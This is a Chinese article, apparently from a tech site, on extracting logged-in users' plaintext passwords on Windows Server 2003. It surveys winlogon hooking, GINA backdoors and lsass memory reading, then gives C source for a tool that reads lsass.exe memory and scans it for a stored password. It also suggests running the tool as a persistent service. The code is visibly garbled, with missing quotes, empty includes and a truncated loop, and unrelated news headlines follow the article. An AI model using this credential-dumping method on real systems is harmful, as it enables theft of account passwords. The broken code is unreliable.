如何在win 2003中得到登陆密码
在所有nt系统中,都是有几种方法可以得到登陆用户的密码的。我知道的三种方法可以达到目的。
1.hook了winlogon中几个函数,网上也有这类型的程序,叫winlogonhijack的项目在rootkit.com中有提供,不过那个项目只对本地登陆用户有效,远程登陆用户无效。
2.使用gina和winlogon进行套接,只要对某些函数执行自己的记录密码的代码,就可以将密码记录下来,稳定性高,而且对本地或远程登陆都有效,不过现存的gina后门程序在xp或2003中都有些函数没有被导出过,主要因为xp和2003等在winlogon中加入了新的函数。
3.直接读取内存数据得到明文密码。在nt 4.0/2k中,早就有程序findpass可以直接读到winlogon进程中的内存数据而直接得到登陆用户密码,因为在nt4.0和2k中,帐号的信息,包括域名,帐号和密码都是有规律地在winlogon内存中的特定地址中,所以可以很简单就得到。但在xp和2003系统中,这样方法是无效的了,似乎我们是没有办法直接读出明文地址了。下面我们就来谈谈如何象findpass在nt 4.0和2k在,在server 2003中得到登陆用户的密码。
虽然xp和2003是不象以前的nt系统那样将登陆用户信息保存在winlogon进程的内存地址内,但是基lsass进程对于要处理些信息时,需要得到明文的登陆用户密码,所以登陆用户的密码会在lsass进程中出现(微软没有将密码在lsass进程中进行加密,微软的说法是因为lsass需要得到明文的密码,就算将密码加密,也都只能用可逆的方法加密,只要跟踪lsass的操作,一样可以得到明文密码,所以微软使用了比较懒惰的方法,可能也是为了加快响应速度,所以将明文密码更是放在lsass进程内存内)。说到这里,大家心里都清楚了,登陆用户的密码是在lsass进程的内存中。对,就是这么一回事,但是要得到这个明文密码,真是象使用nt 4.0和2k下的findpass那样容易吗?事实上并不是那么容易,因为以下几个原因:
a.密码存放在lsass进程中的内存地址是没有规律的
b.密码有可能被最后登陆的用户复盖(例如管理员abc从本地登陆,然后管理员bbb从远程登陆,然后管理员bbb注销终端,存放在lsass.exe进程内存中的密码,还是管理员bbb的密码),又或者用户登陆后,然后注销了,那么我们就算得到了密码,也不知道是哪个用户的密码。
c.密码前后的数据也是没有规律的,如果有规律,例如密码前的数据,一定是有一段全是01字符的数据段,那么定位密码就简单。
原因a和c都给我们带来定位密码的困难,原b就带来不能确定密码和帐号对应的问题.看来微软在新的系统还是做过点功夫。不过我们是不会放弃的,就算是碰碰运气,也看能不能得到密码,反正就算失败,也没什么关系。
最后的代码,是我写来测试是不是能在2003的系统中得到登际用户的密码,结果也正好象我们上面的分析一样(当然了,上面的结果是用这程序测测得到的)。成功率当然不高,因为受太多原因所影响,定位密码上的困难或者无法定位,或者得到不是密码的信息等等的原因,都令失败率显得相当高,不过总还是一种方法,或者将来有人可以准确定位到,那就是令人高兴了。虽然说失败率高,但在一种情况下,成功率却是很高的,那就是管理员只是在本地或终端中登陆了,以后再没有用户从本地或终端登陆过,而且管理员也没有锁上过系统,那么成功率就会是相当高的了。
提高成功率的两种做法:
1.程序直接写成服务,定时检查本地或远程登陆(其实没什么分别),当检测到登陆后,去搜索lsass进程内存,尝试得到密码。
2.程序模拟一个登陆(使用logonuser()就能搞定),因为使用logonuser()这个api,你要提供帐号名和对应的正确的密码,才可以成功,然后你就可以去搜索lsass进程内存。因为知道密码是什么,我们就能定位到密码是保存在什么地方。因为登陆用户的密码都是保存在同一个地址或相离不远的地址中,模拟登陆和搜索,可以先定位以后登陆的用户的密码会大约保存在什么位置。
无论怎说,三种方法中,最稳定,最安全的方法还是使用gina那种方法.hijack了winlogn一些api的方法,毕竟是改动了系统的东西,对系统的稳定性来说,会有考验,直接搜索lsass进程内存的方法呢,虽说也是困难,但准确性,成功率却又是低。
下面的代码使用的是很笨,而且很原始的搜索方法,主要是搜索lsass内存中localsystem remote procedure这个字符串,因为在相当多的测试中,密码都是保存在有这个字符串的地址后一点的位置中,当然了,很多系统并没有这个字符串,或者就算有,我们得到的都是错误的密码。
代码: //*************************************************************
// version: v1.0
// coder: wineggdrop
// date release: 12/15/2004
// purpose: to demonstrate searching logon user password on 2003 box,the method
// used is pretty unwise,but this may be the only way to review the
// logon user's password on windows 2003.
// test platform: windows 2003
// compiled on: vc++ 6.0
//*************************************************************
#include
#include
#include
#define baseaddress 0x002b5000 // the base memory address to search;the password may be located before the address or far more from this address,which causes the result unreliable
char password[max_path] = ; // store the found password
// function prototype declaration
//------------------------------------------------------------------------------------------------------
bool findpassword(dword pid);
int search(char *buffer,const uint nsize);
dword getlsasspid();
bool is2003();
//------------------------------------------------------------------------------------------------------
// end of fucntion prototype declaration
int main()
{
dword pid = 0;
printf(windows 2003 password viewer v1.0 by wineggdrop\n\n);
if (!is2003()) // check out if the box is 2003
{
printf(the program can't only run on windows 2003 platform\n);
return -1;
}
pid = getlsasspid(); // get the lsass.exe pid
if (pid == 0) // fail to get pid if returning zerom
{
return -1;
}
findpassword(pid); // find the password from lsass.exe memory
return 0;
}
// end main()
//------------------------------------------------------------------------------------
// purpose: search the memory & try to get the password
// return type: int
// parameters:
// in: char *buffer --> the memory buffer to search
// out: const uint nsize --> the size of the memory buffer
// note: the program tries to locate the magic string localsystem remote procedure,
// since the password is near the above location,but it's not always true that
// we will find the magic string,or even we find it,the password may be located
// at some other place.we only look for luck
//------------------------------------------------------------------------------------
int search(char *buffer,const uint nsize)
{
uint offset = 0;
uint i = 0;
uint j = 0 ;
uint count = 0;
if (buffer == null)
{
return -1;
}
for (i = 0 ; i < nsize ; i++)
{
/* the below is to find the magic string,why so complicated?that will thank ms.the separation from word to word
is not separated with a space,but with a ending character,so any search api like strstr() will fail to locate
the magic string,we have to do it manually and slowly
*/
if (buffer == 'l')
{
offset = 0;
if (strnicmp(&buffer[i + offset],localsystem,strlen(localsystem)) == 0)
{
offset += strlen(localsystem) + 1;
if (strnicmp(&buffer[i + offset],remote,strlen(remote)) == 0)
{
offset += strlen(remote) + 1;
if (strnicmp(&buffer[i + offset],procedure,strlen(procedure)) == 0)
{
offset += strlen(procedure) + 1;
if (strnicmp(&buffer[i + offset],call,strlen(call)) == 0)
{
i += offset;
break;
}
}
}
}
}
}
if (i < nsize)
{
zeromemory(password,sizeof(password));
for (; i the lsass.exe's pid
//------------------------------------------------------------------------------------
bool findpassword(dword pid)
{
handle hprocess = null;
char buffer[5 * 1024] = ;
dword byteget = 0;
int found = -1;
hprocess = openprocess(process_vm_read,false,pid); // open process
if (hprocess == null)
{
printf(fail to open process\n);
return false;
}
if (!readprocessmemory(hprocess,(pvoid)baseaddress,buffer,5 * 1024,&byteget)) // read the memory from lsass.exe
{
printf(fail to read memory\n);
closehandle(hprocess);
return false;
}
closehandle(hprocess);
found = search(buffer,byteget); // search the password
if (found >= 0) // we may find the password
{
if (strlen(password) > 0) // yes,we find the password even we don't know if the password is correct or not
{
printf(found password at #0x%x -> \%s\\n,found + baseaddress,password);
}
}
else
{
printf(fail to find the password\n);
}
return true;
}
// end findpassword
//------------------------------------------------------------------------------------
// purpose: check if the box is windows 2003
// return type: boolean
// parameters: none
//------------------------------------------------------------------------------------
bool is2003()
{
osversioninfoex osvi;
bool b0sversioninfoex;
zeromemory(&osvi,sizeof(osversioninfoex));
osvi.dwosversioninfosize=sizeof(osversioninfoex);
if (!(b0sversioninfoex=getversionex((osversioninfo *)&osvi)))
{
osvi.dwosversioninfosize=sizeof(osversioninfo);
}
return (osvi.dwmajorversion == 5 && osvi.dwminorversion == 2);
}
// end is2003()
// end of file
附件程序相当于密码定位程序,用来测试在lsass内存中搜索指定的字符串或模拟登陆的密码.
用法:
1.locator 字符串 -> 在lsass进程内存中搜索指定的那个字符串,返回确定的位置
2.locator 用户名 密码 -> 在系统中建立一个参数指定的用户,并进行模拟登陆,然后搜索密码在lsass进程内存中的位置,生成的帐户程序运行完后会自动删除。
曾于大众捷达肩并肩,现如今却鲜为人知-铃木北斗星,最近新推昌河北斗星X5E,欲打翻身仗!
生益电子泰国新生产基地建设进展公告
加薪7%请求被否 法国苹果专卖店员工将在iPhone 15首发时罢工
苹果与Valve合作开发AR头戴式产品,将于2020年推出
AR头显有何实用价值 未来真能取代手机吗?
如何在win 2003中得到登陆密码
长城汽车获得通用汽车的罗勇府汽车制造工厂所有权
如何确认USB接口是不是“真”高速
免洗焊接工艺、材料与设备的分析
采购60个面试问题和参考答案
量子计算机可在分钟之间破解加密敏感数据
2019高交会,纵观鼎阳三馆同展,精彩不断
全新 M1 芯片 Mac Mini 主板现身:支持 10Gb 以太网
qpsk不加根升余弦滤波器输出能不能解调?
南卡发布十年旗舰重磅新品!骨传导耳机2.0时代正式到来
关于宝马、福特新款发动机性能分析
有源带通滤波器电路
单设备模拟神经元可解决传统计算机所面临的问题
高性能、高可靠、高性价比,解密面向闪存介质的浪潮信息集中式全闪存储平台!
鸿蒙系统推送6月开始,据说高通也要适配?